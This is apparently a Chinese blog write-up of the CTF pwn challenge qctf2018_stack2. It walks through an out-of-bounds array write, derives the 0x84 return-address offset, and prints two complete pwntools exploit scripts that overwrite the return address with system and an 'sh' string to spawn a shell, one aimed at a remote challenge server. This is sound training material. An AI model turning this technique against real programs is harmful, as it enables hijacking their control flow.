banner
NEWS LETTER

qctf2018_stack2(数组越界)

Scroll down

qctf2018_stack2

前言

这里作者一开始看了半天以为偏移是0x70+4,但是不对,看了好久,去网上借鉴(chao)师傅们的博客,看到是这样的写法,偏移不能只纠结于ida中看到,还是得靠自己调试。

还是那句话,遇事不决看汇编!!!

题目

1.首先还是checksec一下

image-20250716110047236

可以看到relro是部分开启,意味着got表可写,有canary保护,nx保护

2.ida反编译

image-20250716110054282

可以看到有一个数组越界的漏洞点,程序没有对v13的边界进行检查,所以这里是一个数组越界的漏洞点。并且这里给了一个修改数字的功能,但是需要注意的是v13的类型char,每次只能输入一个字节

由于是while循环,所以这里是可以只要满足v6=3的条件,是可以一直修改的

image-20250716110118154

并且由于出题人没有配置bash环境,但是system的地址是可以利用的。

image-20250716110258980

计算偏移

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
.text:080486AE loc_80486AE:                            ; CODE XREF: main+11C↓j
.text:080486AE sub esp, 8
.text:080486B1 lea eax, [ebp+var_88] //var_88就是输入的v7,此处把V7的有效地址
加载到eax;
.text:080486B7 push eax #eax入栈;
.text:080486B8 push offset aD ; "%d" #scanf的变量入栈;
.text:080486BD call ___isoc99_scanf #调用函数;
.text:080486C2 add esp, 10h
.text:080486C5 mov eax, [ebp+var_88] #将v7的值放入eax;
.text:080486CB mov ecx, eax #将eax的值v7放入ecx中,这里相当于要释放出eax去实现
其他功能;
.text:080486CD lea edx, [ebp+var_70] #var_70是v13,事实上,只要看到这条语句就可以确定数组v13的首地址就在edx寄存器当中,此时此地址里是有初始值的;
.text:080486D0 mov eax, [ebp+var_7C] #var_7C是i,为for循环做准备;i = 0,1,2...
.text:080486D3 add eax, edx #这一步是很精妙的一步,通过相加,可以将数组的值依次按地址加1的方式存储,如v13[0]对于的内存地址为1,v13[1]对于的内存地址为2,依次类推;
.text:080486D5 mov [eax], cl #cl是ecx低位,eax的指向地址始终为ebp+var_70的地址,由于ecx存储着v7,此语句相当于v13数组的赋值过程,一个循环赋值1次;
.text:080486D7 add [ebp+var_7C], 1

在这里插入图片描述

这里已经清楚了,lea edx, [ebp+var_70]只需要看到这句语句,偏移基本已经算出来了,我们接下来是调试到edx去看v13的首地址,然后在下断点下到ebp,计算v13首地址到ebp的偏移,然后就可以构造rop了

image-20250716110309876

中间会有两次输入,一直输入1就好了

继续调试,选项选5,使程序结束,执行到ret时看esp,就是ret的地址

image-20250716110319250

得出偏移是0x84

image-20250716110341094

后门的/bin/bash并没有用,我们要使用rop命令找到sh,用sh
system_addr+任意+sh_addr

1
ROPgadget --binary stack2 --string 'sh'

image-20250716102925910

image-20250716103046379

所以system.plt = 0x08048450,sh = 0x08048987,直接利用程序进行就好

image-20250716104341851

还有一种写法是程序中已经调用过了system函数,直接修改为call system地址,这样就不用再产生新的栈帧,也不用预留4字节的ebp空间,但是最后的效果都是一样的。

exp:

这是我写的exp,但是我看网上的师傅们是利用函数写的,我python学的不好,只会这么写QaQ

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
from pwn import *

offset = 0x84

p = process('./stack2')
# 由于是小端序,所以我们要将低地址存低位字节,高地址存高位字节,先修改system.plt ,然后再修改sh,构造成system(sh),从而得到shell
p.sendlineafter("How many numbers you have:", '1')
p.sendlineafter("Give me your numbers", '1')

p.sendlineafter("5. exit", '3')
p.sendlineafter("which number to change:", str(offset))
p.sendlineafter("new number:", '80') # 0x50

p.sendlineafter("5. exit", '3')
p.sendlineafter("which number to change:", str(offset + 1))
p.sendlineafter("new number:", '132') # 0x84

p.sendlineafter("5. exit", '3')
p.sendlineafter("which number to change:", str(offset + 2))
p.sendlineafter("new number:", '4') # 0x04

p.sendlineafter("5. exit", '3')
p.sendlineafter("which number to change:", str(offset + 3))
p.sendlineafter("new number:", '8') # 0x08
# 这里使用offset+8而不是offset+4是因为我们又重新调用了新的字符串,所以必须要将ebp寄存器的4个字节考虑进来;
# 跳过 ebp,写参数地址 "/bin/sh"
p.sendlineafter("5. exit", '3')
p.sendlineafter("which number to change:", str(offset + 8))
p.sendlineafter("new number:", '135') # 0x87

p.sendlineafter("5. exit", '3')
p.sendlineafter("which number to change:", str(offset + 9))
p.sendlineafter("new number:", '137') # 0x89

p.sendlineafter("5. exit", '3')
p.sendlineafter("which number to change:", str(offset + 10))
p.sendlineafter("new number:", '4') # 0x04

p.sendlineafter("5. exit", '3')
p.sendlineafter("which number to change:", str(offset + 11))
p.sendlineafter("new number:", '8') # 0x08

p.sendline('5')
p.interactive()

这是网上师傅们的exp,借鉴一下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
#from pwn import*
#from Yapack import *

context(os='linux', arch='amd64',log_level='debug')
r,elf=rec("node4.buuoj.cn",28943,"./pwn",0)

sla(b'ave:',b'0')

offset=0x84

def write(pad,adr):
sla(b'exit',b'3')
sla(b'change:',str(offset+pad))
sla(b'number:',str(adr))

#sys=0x080485B4
write(0,0xb4)
write(1,0x85)
write(2,0x04)
write(3,0x08)

#0x08048987 : sh
write(4,0x87)
write(5,0x89)
write(6,0x04)
write(7,0x08)
sla(b'exit',b'5')
ia()

效果图

image-20250716103903731

答疑

其实这里我还有一个疑问,就是为什么这里的栈空间和平常写的题目不一样,后面看了其他师傅的博客才知道这是在程序一开始的汇编代码会有一个栈空间开辟。

image-20250716105142737

ASLR保护机制使低4位仍是固定的

main函数栈帧的ebp指针到返回地址的偏移仍然是固定的,且等于esp的低四位表示的字节数+4字节+4字节

在这里插入图片描述

所以偏移就是0xc+0x4+0x4+0x70=0x84

参考文章

Stack2 - XCTF 4th-QCTF-2018 - 知乎

qctf2018_stack2(数组越界,偏移寻找)-CSDN博客

qctf2018_stack2_2018-stack-CSDN博客

I'm so cute. Please give me money.

其他文章
目录导航 置顶
  1. 1. qctf2018_stack2
    1. 1.1. 前言
    2. 1.2. 题目
    3. 1.3. 答疑
    4. 1.4. 参考文章